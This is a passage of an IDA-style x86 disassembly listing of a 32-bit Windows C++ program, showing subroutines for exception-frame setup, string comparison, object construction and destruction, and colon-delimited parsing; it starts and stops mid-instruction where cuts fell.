[esp+50h+var_4], bl call sub_401226 cmp edi, ebx jnz loc_413BF0 loc_413C93: ; CODE XREF: sub_413B70+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_413CB9: ; CODE XREF: sub_413B70+26j ; sub_413B70+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_413B70 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413D40 proc near ; CODE XREF: sub_401F2Dj push esi mov esi, ecx call sub_401424 mov eax, esi pop esi retn sub_413D40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413D60: ; CODE XREF: ___:004010F0j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_401861 mov ecx, esi call sub_401181 pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413DA0 proc near ; CODE XREF: sub_40189Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_60 = byte ptr 64h push 0FFFFFFFFh push offset SEH_413DA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_4014C9 mov ecx, ebp call sub_401CD0 xor ebx, ebx cmp eax, ebx jnz loc_413F8E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_4014C9 mov ecx, ebp call sub_402112 mov edi, eax cmp edi, ebx jz loc_413F8E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_4014C9 mov ecx, ebp call sub_4011DB cmp al, bl jz loc_413F8E push offset byte_446F60 lea ecx, [esp+28h+arg_48] call sub_4012EE test eax, eax jz short loc_413E87 lea ecx, [edi+2Ah] call sub_4017E4 lea ecx, [esp+24h+arg_48] mov esi, eax call sub_4017E4 loc_413E56: ; CODE XREF: sub_413DA0+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413E7A cmp cl, bl jz short loc_413E76 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413E7A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413E56 loc_413E76: ; CODE XREF: sub_413DA0+C0j xor eax, eax jmp short loc_413E7F ; --------------------------------------------------------------------------- loc_413E7A: ; CODE XREF: sub_413DA0+BCj ; sub_413DA0+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_413E7F: ; CODE XREF: sub_413DA0+D8j cmp eax, ebx jnz loc_413F8E loc_413E87: ; CODE XREF: sub_413DA0+A1j push offset byte_446F60 lea ecx, [esp+28h+arg_60] call sub_4012EE test eax, eax jz short loc_413EE3 lea ecx, [edi+3Fh] call sub_4017E4 lea ecx, [esp+24h+arg_60] mov esi, eax call sub_4017E4 loc_413EB2: ; CODE XREF: sub_413DA0+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413ED6 cmp cl, bl jz short loc_413ED2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413ED6 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413EB2 loc_413ED2: ; CODE XREF: sub_413DA0+11Cj xor eax, eax jmp short loc_413EDB ; --------------------------------------------------------------------------- loc_413ED6: ; CODE XREF: sub_413DA0+118j ; sub_413DA0+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_413EDB: ; CODE XREF: sub_413DA0+134j cmp eax, ebx jnz loc_413F8E loc_413EE3: ; CODE XREF: sub_413DA0+FAj push 58h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_413F03 mov ecx, eax call sub_401D07 jmp short loc_413F05 ; --------------------------------------------------------------------------- loc_413F03: ; CODE XREF: sub_413DA0+158j xor eax, eax loc_413F05: ; CODE XREF: sub_413DA0+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_40200E mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_40200E lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_401406 ; --------------------------------------------------------------------------- lea ecx, [esp+28h] mov byte ptr [esp+28h+var_8], 3 call sub_401226 lea ecx, [esp+28h+arg_14] mov byte ptr [esp+28h+var_8], 2 call sub_401226 lea ecx, [esp+28h+arg_2C] mov byte ptr [esp+28h+var_8], 1 call sub_401226 lea ecx, [esp+28h+arg_44] mov byte ptr [esp+28h+var_8], bl call sub_401226 lea ecx, [esp+28h+arg_5C] mov [esp+28h+var_8], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_413FDB ; --------------------------------------------------------------------------- loc_413F8E: ; CODE XREF: sub_413DA0+44j ; sub_413DA0+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_401226 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_401226 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_401226 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_401226 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_413FDB: ; CODE XREF: sub_413DA0+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_413DA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414090 proc near ; CODE XREF: sub_401D07j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414090 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_414090 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414120: ; CODE XREF: ___:00401DC0j push 0FFFFFFFFh push offset loc_439C10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401861 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_401861 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_401861 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_40189D mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414210 proc near ; CODE XREF: sub_401537j add ecx, 6Ch jmp sub_401C62 sub_414210 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414230 proc near ; CODE XREF: sub_40137Fj var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414230 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_4367FA sub_414230 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 4 jz short loc_414273 mov ecx, eax call sub_401BE0 ; --------------------------------------------------------------------------- jmp short loc_414275 ; --------------------------------------------------------------------------- loc_414273: ; CODE XREF: ___:00414268j xor eax, eax loc_414275: ; CODE XREF: ___:00414271j lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_40200E mov eax, [esp+4] lea edx, [esp+34h] push edx lea ecx, [eax+15h] call sub_40200E mov edx, [esp+4] lea ecx, [esp+4Ch] push ecx lea ecx, [edx+2Ah] call sub_40200E mov ecx, [esp+4] lea eax, [esp+64h] push eax add ecx, 3Fh call sub_40200E lea edx, [esp+4] lea ecx, [esi+60h] push edx call sub_401EF1 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 2 call sub_401226 lea ecx, [esp+34h] mov byte ptr [esp+14h], 1 call sub_401226 lea ecx, [esp+4Ch] mov byte ptr [esp+14h], 0 call sub_401226 lea ecx, [esp+64h] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0Ch] pop esi mov large fs:0, ecx add esp, 14h retn 60h ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414360 proc near ; CODE XREF: sub_401BE0j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_401424 lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_40132A sub_414360 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414400: ; CODE XREF: ___:004010FAj push 0FFFFFFFFh push offset loc_439CD8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401861 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_401861 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40137F ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4144D0 proc near ; CODE XREF: sub_401DACj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4144D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401E1F mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012E9 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401D89 push eax lea ecx, [esp+1Ch+var_14] call sub_401D5C test al, al jz short loc_414580 loc_414535: ; CODE XREF: sub_4144D0+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401FA5 mov ecx, [eax] call sub_401B72 test eax, eax jnz short loc_41455D lea ecx, [esp+18h+var_14] call sub_401FA5 mov edx, [eax] mov [esp+18h+var_10], edx loc_41455D: ; CODE XREF: sub_4144D0+7Cj lea ecx, [esp+18h+var_14] call sub_4020A4 lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401D89 push eax lea ecx, [esp+1Ch+var_14] call sub_401D5C test al, al jnz short loc_414535 loc_414580: ; CODE XREF: sub_4144D0+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_4145C8 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_401258 mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_4145A3 push 1 call sub_4019DD loc_4145A3: ; CODE XREF: sub_4144D0+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_4145C8: ; CODE XREF: sub_4144D0+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_4144D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414640 proc near ; CODE XREF: sub_4019DDj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402220 test [esp+4+arg_0], 1 jz short loc_414658 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_414658: ; CODE XREF: sub_414640+Dj mov eax, esi pop esi retn 4 sub_414640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_414670 proc near ; CODE XREF: sub_402220j jmp sub_401226 sub_414670 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: ___:00401276j push 0FFFFFFFFh push offset loc_439D20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset asc_443C84 ; ":" lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jz short loc_414759 loc_4146F3: ; CODE XREF: ___:00414757j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push offset asc_443C84 ; ":" push esi push edx call sub_4016AE mov ecx, ebp call sub_401DAC cmp al, bl jnz short loc_414720 mov [esp+13h], bl loc_414720: ; CODE XREF: ___:0041471Aj inc esi push offset asc_443C84 ; ":" lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jnz short loc_4146F3 loc_414759: ; CODE XREF: ___:004146F1j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4147D0 proc near ; CODE XREF: sub_40210Dj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4147D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_4017E4 test eax, eax jz loc_414904 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_402252 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_4018F2 mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jz short loc_4148AE loc_414844: ; CODE XREF: sub_4147D0+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_40135C mov ecx, [eax] add ecx, 4 call sub_401B72 test eax, eax jz short loc_41487C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B72 test eax, eax jnz short loc_41488B loc_41487C: ; CODE XREF: sub_4147D0+8Ej lea ecx, [esp+1Ch+var_18] call sub_40135C mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41488B: ; CODE XREF: sub_4147D0+AAj lea ecx, [esp+1Ch+var_18] call sub_40118B lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jnz short loc_414844 loc_4148AE: ; CODE XREF: sub_4147D0+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_414904 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_402130 mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_4148D1 push 1 call sub_4016FE loc_4148D1: ; CODE XREF: sub_4147D0+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_414904: ; CODE XREF: sub_4147D0+2Ej ; sub_4147D0+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_4147D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4149A0 proc near ; CODE XREF: sub_4016FEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A5A test [esp+4+arg_0], 1 jz short loc_4149B8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4149B8: ; CODE XREF: sub_4149A0+Dj mov eax, esi pop esi retn 4 sub_4149A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4149D0 proc near ; CODE XREF: sub_401A5Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4149D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4149D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414A60: ; CODE XREF: ___:004013B1j push 0FFFFFFFFh push offset loc_439D98 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40210D mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414AF0: ; CODE XREF: ___:00401B31j push 0FFFFFFFFh push offset loc_439DB8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_4017E4 test eax, eax jz loc_414BF7 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401037 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_401983 mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402234 push eax lea ecx, [esp+8] call sub_401AD7 test al, al jz short loc_414BAF loc_414B64: ; CODE XREF: ___:00414BADj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011D1 mov ecx, [eax] call sub_401B72 test eax, eax jnz short loc_414B8C lea ecx, [esp+4] call sub_4011D1 mov ecx, [eax] mov [esp+8], ecx loc_414B8C: ; CODE XREF: ___:00414B7Bj lea ecx, [esp+4] call sub_4018B6 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402234 push eax lea ecx, [esp+8] call sub_401AD7 test al, al jnz short loc_414B64 loc_414BAF: ; CODE XREF: ___:00414B62j mov eax, [esp+8] test eax, eax jz short loc_414BF7 lea eax, [esp+8] mov ecx, esi push eax call sub_401154 mov ecx, [esp+8] test ecx, ecx jz short loc_414BD2 push 1 call sub_4011C7 ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BC9j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_414BF7: ; CODE XREF: ___:00414B1Ej ; ___:00414BB5j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414C70 proc near ; CODE XREF: sub_4011C7j push esi mov esi, ecx call sub_401B45 sub_414C70 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_414C88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_414C88: ; CODE XREF: ___:00414C7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414CA0 proc near ; CODE XREF: sub_401B45j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414CA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_401578 sub_414CA0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+3Fh] mov byte ptr [esp+10h], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414D40 proc near ; CODE XREF: sub_4014BFj var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_414D40 push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414E3B sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_4014C9 sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push offset byte_446F60 call sub_401861 or ebx, 0FFFFFFFFh mov ecx, offset word_448C8E mov [esp+88h+var_4], ebx call sub_40210D test al, al jz loc_414F70 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4019B5 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414E3B: ; CODE XREF: sub_414D40+36j lea ecx, [edi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414F70 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_4014C9 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_4014C9 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_4014C9 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset asc_443600 ; " " push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011EA sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push offset asc_443600 ; " " push 1 push ecx mov ecx, esi call sub_4011EA or ebx, 0FFFFFFFFh mov ecx, offset word_448C8E mov [esp+0D0h+var_4], ebx call sub_40189D test al, al jz short loc_414F70 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4019B5 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414F70: ; CODE XREF: sub_414D40+82j ; sub_414D40+10Dj ... mov ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_414D40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415030 proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401EBA sub_415030 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415070 proc near ; CODE XREF: sub_40171Cj arg_0 = dword ptr 4 sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call 